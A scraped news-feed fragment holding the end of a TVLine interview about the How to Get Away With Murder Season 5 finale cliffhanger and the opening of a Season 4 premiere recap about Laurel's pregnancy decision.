TVLINE | The show hasn’t been renewed for Season 6 just yet, but this finale ends on a major cliffhanger. Were there ever any discussions with Pete, or the writers, about giving this episode a tidier ending since the show’s future is uncertain?
I genuinely think… you know, it would be wrong of me to speak for Pete, but for us, as we’re reading the season, we’re seeing how our show still has a strong fanbase. We’ve never doubted that the show would be picked up. Having Viola Davis at the forefront of a show for network TV — I feel like they’re lucky to have her. I don’t think the writers were thinking that this would be our last season, and I never got the sense from Pete that he felt he had to have a Plan B. I do think he has confidence in the show and the writing.

That’s a wrap, Murder fans! What did you think of Thursday’s finale (and Season 5 overall)? Cast your votes in our polls below, then drop a comment with your reactions!

Let’s block ads! (Why?)


https://pmctvline2.files.wordpress.com/2019/02/htgawm-season-5-finale-3.jpg

]]>
https://briefnews.eu/how-to-get-away-with-murder-finale-recap-gone-girl-plus-karla-souza-breaks-down-that-laurel-cliffhanger/feed/ 0
How to Get Away With Murder Premiere: Karla Souza Talks Laurel's Major Baby Decision, Breaks Down That Cliffhanger https://briefnews.eu/how-to-get-away-with-murder-premiere-karla-souza-talks-laurels-major-baby-decision-breaks-down-that-cliffhanger/ https://briefnews.eu/how-to-get-away-with-murder-premiere-karla-souza-talks-laurels-major-baby-decision-breaks-down-that-cliffhanger/#respond Fri, 29 Sep 2017 05:37:28 +0000 http://briefnews.eu/how-to-get-away-with-murder-premiere-karla-souza-talks-laurels-major-baby-decision-breaks-down-that-cliffhanger/ The following contains spoilers for the Season 4 premiere of How to Get Away With Murder.

Sorry, Carmen Sandiego. After that How to Get Away With Murder premiere, we’re more concerned with someone else’s whereabouts.

The ABC drama returned for its fourth season on Thursday, and of the many questions we were left with after the episode, one of them is especially worrying: Where is Laurel’s baby?

Laurel, who’s already having a sufficiently miserable year, kicks off the episode by announcing to her father — aka the man responsible for Wes’ death — that she was pregnant, but had an abortion weeks ago. It isn’t until later in the hour that we learn Laurel actually plans to keep the baby, with a due date five months from now, but decided to keep the truth from her meddling dad.